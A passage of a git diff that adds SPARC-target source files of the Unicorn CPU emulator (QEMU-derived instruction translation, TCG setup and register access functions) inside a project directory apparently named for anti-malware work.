cpu_addr, r_const); + tcg_temp_free_i32(tcg_ctx, r_const); + } + break; +#else /* !TARGET_SPARC64 */ + /* stdfq, store floating point queue */ +#if defined(CONFIG_USER_ONLY) + goto illegal_insn; +#else + if (!supervisor(dc)) + goto priv_insn; + if (gen_trap_ifnofpu(dc)) { + goto jmp_insn; + } + goto nfq_insn; +#endif +#endif + case 0x27: /* stdf, store double fpreg */ + gen_address_mask(dc, cpu_addr); + cpu_src1_64 = gen_load_fpr_D(dc, rd); + tcg_gen_qemu_st64(dc->uc, cpu_src1_64, cpu_addr, dc->mem_idx); + break; + default: + goto illegal_insn; + } + } else if (xop > 0x33 && xop < 0x3f) { + save_state(dc); + switch (xop) { +#ifdef TARGET_SPARC64 + case 0x34: /* V9 stfa */ + if (gen_trap_ifnofpu(dc)) { + goto jmp_insn; + } + gen_stf_asi(dc, cpu_addr, insn, 4, rd); + break; + case 0x36: /* V9 stqfa */ + { + TCGv_i32 r_const; + + CHECK_FPU_FEATURE(dc, FLOAT128); + if (gen_trap_ifnofpu(dc)) { + goto jmp_insn; + } + r_const = tcg_const_i32(tcg_ctx, 7); + gen_helper_check_align(tcg_ctx, tcg_ctx->cpu_env, cpu_addr, r_const); + tcg_temp_free_i32(tcg_ctx, r_const); + gen_stf_asi(dc, cpu_addr, insn, 16, QFPREG(rd)); + } + break; + case 0x37: /* V9 stdfa */ + if (gen_trap_ifnofpu(dc)) { + goto jmp_insn; + } + gen_stf_asi(dc, cpu_addr, insn, 8, DFPREG(rd)); + break; + case 0x3e: /* V9 casxa */ + rs2 = GET_FIELD(insn, 27, 31); + cpu_src2 = gen_load_gpr(dc, rs2); + gen_casx_asi(dc, cpu_addr, cpu_src2, insn, rd); + break; +#else + case 0x34: /* stc */ + case 0x35: /* stcsr */ + case 0x36: /* stdcq */ + case 0x37: /* stdc */ + goto ncp_insn; +#endif +#if !defined(CONFIG_USER_ONLY) || defined(TARGET_SPARC64) + case 0x3c: /* V9 or LEON3 casa */ +#ifndef TARGET_SPARC64 + CHECK_IU_FEATURE(dc, CASA); + if (IS_IMM) { + goto illegal_insn; + } + if (!supervisor(dc)) { + goto priv_insn; + } +#endif + rs2 = GET_FIELD(insn, 27, 31); + cpu_src2 = gen_load_gpr(dc, rs2); + gen_cas_asi(dc, cpu_addr, cpu_src2, insn, rd); + break; +#endif + default: + goto illegal_insn; + } + } else { + goto illegal_insn; + } + } + break; + } + /* default case for non jump instructions */ + if (dc->npc == DYNAMIC_PC) { + dc->pc = DYNAMIC_PC; + gen_op_next_insn(dc); + } else if (dc->npc == JUMP_PC) { + /* we can do a static jump */ + gen_branch2(dc, dc->jump_pc[0], dc->jump_pc[1], *(TCGv *)tcg_ctx->cpu_cond); + dc->is_br = 1; + } else { + dc->pc = dc->npc; + dc->npc = dc->npc + 4; + } + jmp_insn: + goto egress; + illegal_insn: + { + TCGv_i32 r_const; + + save_state(dc); + r_const = tcg_const_i32(tcg_ctx, TT_ILL_INSN); + gen_helper_raise_exception(tcg_ctx, tcg_ctx->cpu_env, r_const); + tcg_temp_free_i32(tcg_ctx, r_const); + dc->is_br = 1; + } + goto egress; + unimp_flush: + { + TCGv_i32 r_const; + + save_state(dc); + r_const = tcg_const_i32(tcg_ctx, TT_UNIMP_FLUSH); + gen_helper_raise_exception(tcg_ctx, tcg_ctx->cpu_env, r_const); + tcg_temp_free_i32(tcg_ctx, r_const); + dc->is_br = 1; + } + goto egress; +#if !defined(CONFIG_USER_ONLY) + priv_insn: + { + TCGv_i32 r_const; + + save_state(dc); + r_const = tcg_const_i32(tcg_ctx, TT_PRIV_INSN); + gen_helper_raise_exception(tcg_ctx, tcg_ctx->cpu_env, r_const); + tcg_temp_free_i32(tcg_ctx, r_const); + dc->is_br = 1; + } + goto egress; +#endif + nfpu_insn: + save_state(dc); + gen_op_fpexception_im(dc, FSR_FTT_UNIMPFPOP); + dc->is_br = 1; + goto egress; +#if !defined(CONFIG_USER_ONLY) && !defined(TARGET_SPARC64) + nfq_insn: + save_state(dc); + gen_op_fpexception_im(dc, FSR_FTT_SEQ_ERROR); + dc->is_br = 1; + goto egress; +#endif +#ifndef TARGET_SPARC64 + ncp_insn: + { + TCGv r_const; + + save_state(dc); + r_const = tcg_const_i32(tcg_ctx, TT_NCP_INSN); + gen_helper_raise_exception(tcg_ctx, tcg_ctx->cpu_env, r_const); + tcg_temp_free(tcg_ctx, r_const); + dc->is_br = 1; + } + goto egress; +#endif + egress: + if (dc->n_t32 != 0) { + int i; + for (i = dc->n_t32 - 1; i >= 0; --i) { + tcg_temp_free_i32(tcg_ctx, dc->t32[i]); + } + dc->n_t32 = 0; + } + if (dc->n_ttl != 0) { + int i; + for (i = dc->n_ttl - 1; i >= 0; --i) { + tcg_temp_free(tcg_ctx, dc->ttl[i]); + } + dc->n_ttl = 0; + } +} + +static inline void gen_intermediate_code_internal(SPARCCPU *cpu, + TranslationBlock *tb, + bool spc) +{ + CPUState *cs = CPU(cpu); + CPUSPARCState *env = &cpu->env; + target_ulong pc_start, last_pc; + uint16_t *gen_opc_end; + DisasContext dc1, *dc = &dc1; + CPUBreakpoint *bp; + int j, lj = -1; + int num_insns = 0; + int max_insns; + unsigned int insn; + TCGContext *tcg_ctx = env->uc->tcg_ctx; + bool block_full = false; + + memset(dc, 0, sizeof(DisasContext)); + dc->uc = env->uc; + dc->tb = tb; + pc_start = tb->pc; + dc->pc = pc_start; + last_pc = dc->pc; + dc->npc = (target_ulong) tb->cs_base; + dc->cc_op = CC_OP_DYNAMIC; + dc->mem_idx = cpu_mmu_index(env); + dc->def = env->def; + dc->fpu_enabled = tb_fpu_enabled(tb->flags); + dc->address_mask_32bit = tb_am_enabled(tb->flags); + dc->singlestep = (cs->singlestep_enabled); // || singlestep); + gen_opc_end = tcg_ctx->gen_opc_buf + OPC_MAX_SIZE; + + + // early check to see if the address of this block is the until address + if (pc_start == env->uc->addr_end) { + gen_tb_start(tcg_ctx); + gen_helper_power_down(tcg_ctx, tcg_ctx->cpu_env); + goto done_generating; + } + + max_insns = tb->cflags & CF_COUNT_MASK; + if (max_insns == 0) + max_insns = CF_COUNT_MASK; + + // Unicorn: early check to see if the address of this block is the until address + if (tb->pc == env->uc->addr_end) { + gen_tb_start(tcg_ctx); + save_state(dc); + gen_helper_power_down(tcg_ctx, tcg_ctx->cpu_env); + goto done_generating; + } + + // Unicorn: trace this block on request + // Only hook this block if it is not broken from previous translation due to + // full translation cache + if (!env->uc->block_full && HOOK_EXISTS_BOUNDED(env->uc, UC_HOOK_BLOCK, pc_start)) { + // save block address to see if we need to patch block size later + env->uc->block_addr = pc_start; + env->uc->size_arg = tcg_ctx->gen_opparam_buf - tcg_ctx->gen_opparam_ptr + 1; + gen_uc_tracecode(tcg_ctx, 0xf8f8f8f8, UC_HOOK_BLOCK_IDX, env->uc, pc_start); + } + + gen_tb_start(tcg_ctx); + do { + if (unlikely(!QTAILQ_EMPTY(&cs->breakpoints))) { + QTAILQ_FOREACH(bp, &cs->breakpoints, entry) { + if (bp->pc == dc->pc) { + if (dc->pc != pc_start) + save_state(dc); + gen_helper_debug(tcg_ctx, tcg_ctx->cpu_env); + tcg_gen_exit_tb(tcg_ctx, 0); + dc->is_br = 1; + goto exit_gen_loop; + } + } + } + if (spc) { + qemu_log("Search PC...\n"); + j = tcg_ctx->gen_opc_ptr - tcg_ctx->gen_opc_buf; + if (lj < j) { + lj++; + while (lj < j) + tcg_ctx->gen_opc_instr_start[lj++] = 0; + tcg_ctx->gen_opc_pc[lj] = dc->pc; + tcg_ctx->gen_opc_npc[lj] = dc->npc; + tcg_ctx->gen_opc_instr_start[lj] = 1; + tcg_ctx->gen_opc_icount[lj] = num_insns; + } + } + //if (num_insns + 1 == max_insns && (tb->cflags & CF_LAST_IO)) + // gen_io_start(); + // Unicorn: end address tells us to stop emulation + if (dc->pc == dc->uc->addr_end) { + save_state(dc); + gen_helper_power_down(tcg_ctx, tcg_ctx->cpu_env); + break; + } else { + last_pc = dc->pc; + insn = cpu_ldl_code(env, dc->pc); + } + + disas_sparc_insn(dc, insn, true); + num_insns++; + + if (dc->is_br) + break; + /* if the next PC is different, we abort now */ + if (dc->pc != (last_pc + 4)) + break; + + /* if we reach a page boundary, we stop generation so that the + PC of a TT_TFAULT exception is always in the right page */ + if ((dc->pc & (TARGET_PAGE_SIZE - 1)) == 0) + break; + /* if single step mode, we generate only one instruction and + generate an exception */ + if (dc->singlestep) { + break; + } + } while ((tcg_ctx->gen_opc_ptr < gen_opc_end) && + (dc->pc - pc_start) < (TARGET_PAGE_SIZE - 32) && + num_insns < max_insns); + + /* if too long translation, save this info */ + if (tcg_ctx->gen_opc_ptr >= gen_opc_end || num_insns >= max_insns) + block_full = true; + + exit_gen_loop: + //if (tb->cflags & CF_LAST_IO) { + // gen_io_end(); + //} + if (!dc->is_br) { + if (dc->pc != DYNAMIC_PC && + (dc->npc != DYNAMIC_PC && dc->npc != JUMP_PC)) { + /* static PC and NPC: we can use direct chaining */ + gen_goto_tb(dc, 0, dc->pc, dc->npc); + } else { + if (dc->pc != DYNAMIC_PC) { + tcg_gen_movi_tl(tcg_ctx, *(TCGv *)tcg_ctx->sparc_cpu_pc, dc->pc); + } + save_npc(dc); + tcg_gen_exit_tb(tcg_ctx, 0); + } + } + +done_generating: + gen_tb_end(tcg_ctx, tb, num_insns); + *tcg_ctx->gen_opc_ptr = INDEX_op_end; + if (spc) { + j = tcg_ctx->gen_opc_ptr - tcg_ctx->gen_opc_buf; + lj++; + while (lj <= j) + tcg_ctx->gen_opc_instr_start[lj++] = 0; +#if 0 + log_page_dump(); +#endif + tcg_ctx->gen_opc_jump_pc[0] = dc->jump_pc[0]; + tcg_ctx->gen_opc_jump_pc[1] = dc->jump_pc[1]; + } else { + tb->size = last_pc + 4 - pc_start; + tb->icount = num_insns; + } + + env->uc->block_full = block_full; +} + +void gen_intermediate_code(CPUSPARCState * env, TranslationBlock * tb) +{ + gen_intermediate_code_internal(sparc_env_get_cpu(env), tb, false); +} + +void gen_intermediate_code_pc(CPUSPARCState * env, TranslationBlock * tb) +{ + gen_intermediate_code_internal(sparc_env_get_cpu(env), tb, true); +} + +void gen_intermediate_code_init(CPUSPARCState *env) +{ + TCGContext *tcg_ctx = env->uc->tcg_ctx; + struct uc_struct *uc = env->uc; + unsigned int i; + static const char * const gregnames[8] = { + NULL, // g0 not used + "g1", + "g2", + "g3", + "g4", + "g5", + "g6", + "g7", + }; + static const char * const fregnames[32] = { + "f0", "f2", "f4", "f6", "f8", "f10", "f12", "f14", + "f16", "f18", "f20", "f22", "f24", "f26", "f28", "f30", + "f32", "f34", "f36", "f38", "f40", "f42", "f44", "f46", + "f48", "f50", "f52", "f54", "f56", "f58", "f60", "f62", + }; + + /* init various static tables */ + tcg_ctx->cpu_env = tcg_global_reg_new_ptr(tcg_ctx, TCG_AREG0, "env"); + tcg_ctx->cpu_regwptr = tcg_global_mem_new_ptr(tcg_ctx, TCG_AREG0, + offsetof(CPUSPARCState, regwptr), + "regwptr"); +#ifdef TARGET_SPARC64 + tcg_ctx->cpu_xcc = tcg_global_mem_new_i32(tcg_ctx, TCG_AREG0, offsetof(CPUSPARCState, xcc), + "xcc"); + tcg_ctx->cpu_asi = tcg_global_mem_new_i32(tcg_ctx, TCG_AREG0, offsetof(CPUSPARCState, asi), + "asi"); + tcg_ctx->cpu_fprs = tcg_global_mem_new_i32(tcg_ctx, TCG_AREG0, offsetof(CPUSPARCState, fprs), + "fprs"); + + if (!uc->init_tcg) + tcg_ctx->cpu_gsr = g_malloc0(sizeof(TCGv)); + *(TCGv *)tcg_ctx->cpu_gsr = tcg_global_mem_new(tcg_ctx, TCG_AREG0, offsetof(CPUSPARCState, gsr), + "gsr"); + + if (!uc->init_tcg) + tcg_ctx->cpu_tick_cmpr = g_malloc0(sizeof(TCGv)); + *(TCGv *)tcg_ctx->cpu_tick_cmpr = tcg_global_mem_new(tcg_ctx, TCG_AREG0, + offsetof(CPUSPARCState, tick_cmpr), + "tick_cmpr"); + + if (!uc->init_tcg) + tcg_ctx->cpu_stick_cmpr = g_malloc0(sizeof(TCGv)); + *(TCGv *)tcg_ctx->cpu_stick_cmpr = tcg_global_mem_new(tcg_ctx, TCG_AREG0, + offsetof(CPUSPARCState, stick_cmpr), + "stick_cmpr"); + + if (!uc->init_tcg) + tcg_ctx->cpu_hstick_cmpr = g_malloc0(sizeof(TCGv)); + *(TCGv *)tcg_ctx->cpu_hstick_cmpr = tcg_global_mem_new(tcg_ctx, TCG_AREG0, + offsetof(CPUSPARCState, hstick_cmpr), + "hstick_cmpr"); + + if (!uc->init_tcg) + tcg_ctx->cpu_hintp = g_malloc0(sizeof(TCGv)); + *(TCGv *)tcg_ctx->cpu_hintp = tcg_global_mem_new(tcg_ctx, TCG_AREG0, offsetof(CPUSPARCState, hintp), + "hintp"); + + if (!uc->init_tcg) + tcg_ctx->cpu_htba = g_malloc0(sizeof(TCGv)); + *(TCGv *)tcg_ctx->cpu_htba = tcg_global_mem_new(tcg_ctx, TCG_AREG0, offsetof(CPUSPARCState, htba), + "htba"); + + if (!uc->init_tcg) + tcg_ctx->cpu_hver = g_malloc0(sizeof(TCGv)); + *(TCGv *)tcg_ctx->cpu_hver = tcg_global_mem_new(tcg_ctx, TCG_AREG0, offsetof(CPUSPARCState, hver), + "hver"); + + if (!uc->init_tcg) + tcg_ctx->cpu_ssr = g_malloc0(sizeof(TCGv)); + *(TCGv *)tcg_ctx->cpu_ssr = tcg_global_mem_new(tcg_ctx, TCG_AREG0, + offsetof(CPUSPARCState, ssr), "ssr"); + + if (!uc->init_tcg) + tcg_ctx->cpu_ver = g_malloc0(sizeof(TCGv)); + *(TCGv *)tcg_ctx->cpu_ver = tcg_global_mem_new(tcg_ctx, TCG_AREG0, + offsetof(CPUSPARCState, version), "ver"); + + tcg_ctx->cpu_softint = tcg_global_mem_new_i32(tcg_ctx, TCG_AREG0, + offsetof(CPUSPARCState, softint), + "softint"); +#else + if (!uc->init_tcg) + tcg_ctx->cpu_wim = g_malloc0(sizeof(TCGv)); + *(TCGv *)tcg_ctx->cpu_wim = tcg_global_mem_new(tcg_ctx, TCG_AREG0, offsetof(CPUSPARCState, wim), + "wim"); +#endif + + if (!uc->init_tcg) + tcg_ctx->cpu_cond = g_malloc0(sizeof(TCGv)); + *(TCGv *)tcg_ctx->cpu_cond = tcg_global_mem_new(tcg_ctx, TCG_AREG0, offsetof(CPUSPARCState, cond), + "cond"); + + if (!uc->init_tcg) + tcg_ctx->cpu_cc_src = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->cpu_cc_src) = tcg_global_mem_new(tcg_ctx, TCG_AREG0, offsetof(CPUSPARCState, cc_src), + "cc_src"); + + if (!uc->init_tcg) + tcg_ctx->cpu_cc_src2 = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->cpu_cc_src2) = tcg_global_mem_new(tcg_ctx, TCG_AREG0, + offsetof(CPUSPARCState, cc_src2), + "cc_src2"); + + if (!uc->init_tcg) + tcg_ctx->cpu_cc_dst = g_malloc0(sizeof(TCGv)); + *(TCGv *)tcg_ctx->cpu_cc_dst = tcg_global_mem_new(tcg_ctx, TCG_AREG0, offsetof(CPUSPARCState, cc_dst), + "cc_dst"); + + tcg_ctx->cpu_cc_op = tcg_global_mem_new_i32(tcg_ctx, TCG_AREG0, offsetof(CPUSPARCState, cc_op), + "cc_op"); + tcg_ctx->cpu_psr = tcg_global_mem_new_i32(tcg_ctx, TCG_AREG0, offsetof(CPUSPARCState, psr), + "psr"); + + if (!uc->init_tcg) + tcg_ctx->cpu_fsr = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->cpu_fsr) = tcg_global_mem_new(tcg_ctx, TCG_AREG0, offsetof(CPUSPARCState, fsr), + "fsr"); + + if (!uc->init_tcg) + tcg_ctx->sparc_cpu_pc = g_malloc0(sizeof(TCGv)); + *(TCGv *)tcg_ctx->sparc_cpu_pc = tcg_global_mem_new(tcg_ctx, TCG_AREG0, offsetof(CPUSPARCState, pc), + "pc"); + + if (!uc->init_tcg) + tcg_ctx->cpu_npc = g_malloc0(sizeof(TCGv)); + *(TCGv *)tcg_ctx->cpu_npc = tcg_global_mem_new(tcg_ctx, TCG_AREG0, offsetof(CPUSPARCState, npc), + "npc"); + + if (!uc->init_tcg) + tcg_ctx->cpu_y = g_malloc0(sizeof(TCGv)); + *(TCGv *)tcg_ctx->cpu_y = tcg_global_mem_new(tcg_ctx, TCG_AREG0, offsetof(CPUSPARCState, y), "y"); +#ifndef CONFIG_USER_ONLY + if (!uc->init_tcg) + tcg_ctx->cpu_tbr = g_malloc0(sizeof(TCGv)); + *(TCGv *)tcg_ctx->cpu_tbr = tcg_global_mem_new(tcg_ctx, TCG_AREG0, offsetof(CPUSPARCState, tbr), + "tbr"); +#endif + if (!uc->init_tcg) { + for (i = 0; i < 8; i++) { + tcg_ctx->cpu_gregs[i] = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->cpu_gregs[i]) = tcg_global_mem_new(tcg_ctx, TCG_AREG0, + offsetof(CPUSPARCState, gregs[i]), + gregnames[i]); + } + } + + for (i = 0; i < TARGET_DPREGS; i++) { + tcg_ctx->cpu_fpr[i] = tcg_global_mem_new_i64(tcg_ctx, TCG_AREG0, + offsetof(CPUSPARCState, fpr[i]), + fregnames[i]); + } + + uc->init_tcg = true; +} + +void restore_state_to_opc(CPUSPARCState *env, TranslationBlock *tb, int pc_pos) +{ + TCGContext *tcg_ctx = env->uc->tcg_ctx; + target_ulong npc; + npc = tcg_ctx->gen_opc_npc[pc_pos]; + if (npc == 1) { + /* dynamic NPC: already stored */ + } else if (npc == 2) { + /* jump PC: use 'cond' and the jump targets of the translation */ + if (env->cond) { + env->npc = tcg_ctx->gen_opc_jump_pc[0]; + } else { + env->npc = tcg_ctx->gen_opc_jump_pc[1]; + } + } else { + env->npc = npc; + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/unicorn.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/unicorn.c new file mode 100644 index 0000000..8db2b52 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/unicorn.c @@ -0,0 +1,151 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh , 2015 */ + +#include "hw/boards.h" +#include "hw/sparc/sparc.h" +#include "sysemu/cpus.h" +#include "unicorn.h" +#include "cpu.h" +#include "unicorn_common.h" +#include "uc_priv.h" + + +const int SPARC_REGS_STORAGE_SIZE = offsetof(CPUSPARCState, tlb_table); + +static bool sparc_stop_interrupt(int intno) +{ + switch(intno) { + default: + return false; + case TT_ILL_INSN: + return true; + } +} + +static void sparc_set_pc(struct uc_struct *uc, uint64_t address) +{ + ((CPUSPARCState *)uc->current_cpu->env_ptr)->pc = address; + ((CPUSPARCState *)uc->current_cpu->env_ptr)->npc = address + 4; +} + +void sparc_release(void *ctx); +void sparc_release(void *ctx) +{ + int i; + TCGContext *tcg_ctx = (TCGContext *) ctx; + release_common(ctx); + g_free(tcg_ctx->cpu_wim); + g_free(tcg_ctx->cpu_cond); + g_free(tcg_ctx->cpu_cc_src); + g_free(tcg_ctx->cpu_cc_src2); + g_free(tcg_ctx->cpu_cc_dst); + g_free(tcg_ctx->cpu_fsr); + g_free(tcg_ctx->sparc_cpu_pc); + g_free(tcg_ctx->cpu_npc); + g_free(tcg_ctx->cpu_y); + g_free(tcg_ctx->cpu_tbr); + + for (i = 0; i < 8; i++) { + g_free(tcg_ctx->cpu_gregs[i]); + } + for (i = 0; i < 32; i++) { + g_free(tcg_ctx->cpu_gpr[i]); + } + + g_free(tcg_ctx->cpu_PC); + g_free(tcg_ctx->btarget); + g_free(tcg_ctx->bcond); + g_free(tcg_ctx->cpu_dspctrl); + + g_free(tcg_ctx->tb_ctx.tbs); +} + +void sparc_reg_reset(struct uc_struct *uc) +{ + CPUArchState *env = uc->cpu->env_ptr; + + memset(env->gregs, 0, sizeof(env->gregs)); + memset(env->fpr, 0, sizeof(env->fpr)); + memset(env->regbase, 0, sizeof(env->regbase)); + + env->pc = 0; + env->npc = 0; + env->regwptr = env->regbase; +} + +int sparc_reg_read(struct uc_struct *uc, unsigned int *regs, void **vals, int count) +{ + CPUState *mycpu = uc->cpu; + int i; + + for (i = 0; i < count; i++) { + unsigned int regid = regs[i]; + void *value = vals[i]; + if (regid >= UC_SPARC_REG_G0 && regid <= UC_SPARC_REG_G7) + *(int32_t *)value = SPARC_CPU(uc, mycpu)->env.gregs[regid - UC_SPARC_REG_G0]; + else if (regid >= UC_SPARC_REG_O0 && regid <= UC_SPARC_REG_O7) + *(int32_t *)value = SPARC_CPU(uc, mycpu)->env.regwptr[regid - UC_SPARC_REG_O0]; + else if (regid >= UC_SPARC_REG_L0 && regid <= UC_SPARC_REG_L7) + *(int32_t *)value = SPARC_CPU(uc, mycpu)->env.regwptr[8 + regid - UC_SPARC_REG_L0]; + else if (regid >= UC_SPARC_REG_I0 && regid <= UC_SPARC_REG_I7) + *(int32_t *)value = SPARC_CPU(uc, mycpu)->env.regwptr[16 + regid - UC_SPARC_REG_I0]; + else { + switch(regid) { + default: break; + case UC_SPARC_REG_PC: + *(int32_t *)value = SPARC_CPU(uc, mycpu)->env.pc; + break; + } + } + } + + return 0; +} + +int sparc_reg_write(struct uc_struct *uc, unsigned int *regs, void *const *vals, int count) +{ + CPUState *mycpu = uc->cpu; + int i; + + for (i = 0; i < count; i++) { + unsigned int regid = regs[i]; + const void *value = vals[i]; + if (regid >= UC_SPARC_REG_G0 && regid <= UC_SPARC_REG_G7) + SPARC_CPU(uc, mycpu)->env.gregs[regid - UC_SPARC_REG_G0] = *(uint32_t *)value; + else if (regid >= UC_SPARC_REG_O0 && regid <= UC_SPARC_REG_O7) + SPARC_CPU(uc, mycpu)->env.regwptr[regid - UC_SPARC_REG_O0] = *(uint32_t *)value; + else if (regid >= UC_SPARC_REG_L0 && regid <= UC_SPARC_REG_L7) + SPARC_CPU(uc, mycpu)->env.regwptr[8 + regid - UC_SPARC_REG_L0] = *(uint32_t *)value; + else if (regid >= UC_SPARC_REG_I0 && regid <= UC_SPARC_REG_I7) + SPARC_CPU(uc, mycpu)->env.regwptr[16 + regid - UC_SPARC_REG_I0] = *(uint32_t *)value; + else { + switch(regid) { + default: break; + case UC_SPARC_REG_PC: + SPARC_CPU(uc, mycpu)->env.pc = *(uint32_t *)value; + SPARC_CPU(uc, mycpu)->env.npc = *(uint32_t *)value + 4; + // force to quit execution and flush TB + uc->quit_request = true; + uc_emu_stop(uc); + break; + } + } + } + + return 0; +} + +DEFAULT_VISIBILITY +void sparc_uc_init(struct uc_struct* uc) +{ + register_accel_types(uc); + sparc_cpu_register_types(uc); + leon3_machine_init(uc); + uc->release = sparc_release; + uc->reg_read = sparc_reg_read; + uc->reg_write = sparc_reg_write; + uc->reg_reset = sparc_reg_reset; + uc->set_pc = sparc_set_pc; + uc->stop_interrupt = sparc_stop_interrupt; + uc_common_init(uc); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/unicorn.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/unicorn.h new file mode 100644 index 0000000..2140f28 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/unicorn.h @@ -0,0 +1,19 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh , 2015 */ + +#ifndef UC_QEMU_TARGET_SPARC_H +#define UC_QEMU_TARGET_SPARC_H + +// functions to read & write registers +int sparc_reg_read(struct uc_struct *uc, unsigned int *regs, void **vals, int count); +int sparc_reg_write(struct uc_struct *uc, unsigned int *regs, void *const *vals, int count); + +void sparc_reg_reset(struct uc_struct *uc); + +void sparc_uc_init(struct uc_struct* uc); +void sparc64_uc_init(struct uc_struct* uc); + +extern const int SPARC_REGS_STORAGE_SIZE; +extern const int SPARC64_REGS_STORAGE_SIZE; + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/unicorn64.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/unicorn64.c new file mode 100644 index 0000000..e6f07a3 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/unicorn64.c @@ -0,0 +1,115 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh , 2015 */ + +#include "hw/boards.h" +#include "hw/sparc/sparc.h" +#include "sysemu/cpus.h" +#include "unicorn.h" +#include "cpu.h" +#include "unicorn_common.h" +#include "uc_priv.h" + + +const int SPARC64_REGS_STORAGE_SIZE = offsetof(CPUSPARCState, tlb_table); + +static bool sparc_stop_interrupt(int intno) +{ + switch(intno) { + default: + return false; + case TT_ILL_INSN: + return true; + } +} + +static void sparc_set_pc(struct uc_struct *uc, uint64_t address) +{ + ((CPUSPARCState *)uc->current_cpu->env_ptr)->pc = address; + ((CPUSPARCState *)uc->current_cpu->env_ptr)->npc = address + 4; +} + +void sparc_reg_reset(struct uc_struct *uc) +{ + CPUArchState *env = uc->cpu->env_ptr; + + memset(env->gregs, 0, sizeof(env->gregs)); + memset(env->fpr, 0, sizeof(env->fpr)); + memset(env->regbase, 0, sizeof(env->regbase)); + + env->pc = 0; + env->npc = 0; + env->regwptr = env->regbase; +} + +int sparc_reg_read(struct uc_struct *uc, unsigned int *regs, void **vals, int count) +{ + CPUState *mycpu = uc->cpu; + int i; + + for (i = 0; i < count; i++) { + unsigned int regid = regs[i]; + void *value = vals[i]; + if (regid >= UC_SPARC_REG_G0 && regid <= UC_SPARC_REG_G7) + *(int64_t *)value = SPARC_CPU(uc, mycpu)->env.gregs[regid - UC_SPARC_REG_G0]; + else if (regid >= UC_SPARC_REG_O0 && regid <= UC_SPARC_REG_O7) + *(int64_t *)value = SPARC_CPU(uc, mycpu)->env.regwptr[regid - UC_SPARC_REG_O0]; + else if (regid >= UC_SPARC_REG_L0 && regid <= UC_SPARC_REG_L7) + *(int64_t *)value = SPARC_CPU(uc, mycpu)->env.regwptr[8 + regid - UC_SPARC_REG_L0]; + else if (regid >= UC_SPARC_REG_I0 && regid <= UC_SPARC_REG_I7) + *(int64_t *)value = SPARC_CPU(uc, mycpu)->env.regwptr[16 + regid - UC_SPARC_REG_I0]; + else { + switch(regid) { + default: break; + case UC_SPARC_REG_PC: + *(int64_t *)value = SPARC_CPU(uc, mycpu)->env.pc; + break; + } + } + } + + return 0; +} + +int sparc_reg_write(struct uc_struct *uc, unsigned int *regs, void* const* vals, int count) +{ + CPUState *mycpu = uc->cpu; + int i; + + for (i = 0; i < count; i++) { + unsigned int regid = regs[i]; + const void *value = vals[i]; + if (regid >= UC_SPARC_REG_G0 && regid <= UC_SPARC_REG_G7) + SPARC_CPU(uc, mycpu)->env.gregs[regid - UC_SPARC_REG_G0] = *(uint64_t *)value; + else if (regid >= UC_SPARC_REG_O0 && regid <= UC_SPARC_REG_O7) + SPARC_CPU(uc, mycpu)->env.regwptr[regid - UC_SPARC_REG_O0] = *(uint64_t *)value; + else if (regid >= UC_SPARC_REG_L0 && regid <= UC_SPARC_REG_L7) + SPARC_CPU(uc, mycpu)->env.regwptr[8 + regid - UC_SPARC_REG_L0] = *(uint64_t *)value; + else if (regid >= UC_SPARC_REG_I0 && regid <= UC_SPARC_REG_I7) + SPARC_CPU(uc, mycpu)->env.regwptr[16 + regid - UC_SPARC_REG_I0] = *(uint64_t *)value; + else { + switch(regid) { + default: break; + case UC_SPARC_REG_PC: + SPARC_CPU(uc, mycpu)->env.pc = *(uint64_t *)value; + SPARC_CPU(uc, mycpu)->env.npc = *(uint64_t *)value + 4; + break; + } + } + } + + return 0; +} + +DEFAULT_VISIBILITY +void sparc64_uc_init(struct uc_struct* uc) +{ + register_accel_types(uc); + sparc_cpu_register_types(uc); + sun4u_machine_init(uc); + uc->reg_read = sparc_reg_read; + uc->reg_write = sparc_reg_write; + uc->reg_reset = sparc_reg_reset; + uc->set_pc = sparc_set_pc; + uc->stop_interrupt = sparc_stop_interrupt; + uc_common_init(uc); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/vis_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/vis_helper.c new file mode 100644 index 0000000..383cc8b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/vis_helper.c @@ -0,0 +1,489 @@ +/* + * VIS op helpers + * + * Copyright (c) 2003-2005 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "exec/helper-proto.h" + +/* This function uses non-native bit order */ +#define GET_FIELD(X, FROM, TO) \ + ((X) >> (63 - (TO)) & ((1ULL << ((TO) - (FROM) + 1)) - 1)) + +/* This function uses the order in the manuals, i.e. bit 0 is 2^0 */ +#define GET_FIELD_SP(X, FROM, TO) \ + GET_FIELD(X, 63 - (TO), 63 - (FROM)) + +target_ulong helper_array8(target_ulong pixel_addr, target_ulong cubesize) +{ + return (GET_FIELD_SP(pixel_addr, 60, 63) << (17 + 2 * cubesize)) | + (GET_FIELD_SP(pixel_addr, 39, 39 + cubesize - 1) << (17 + cubesize)) | + (GET_FIELD_SP(pixel_addr, 17 + cubesize - 1, 17) << 17) | + (GET_FIELD_SP(pixel_addr, 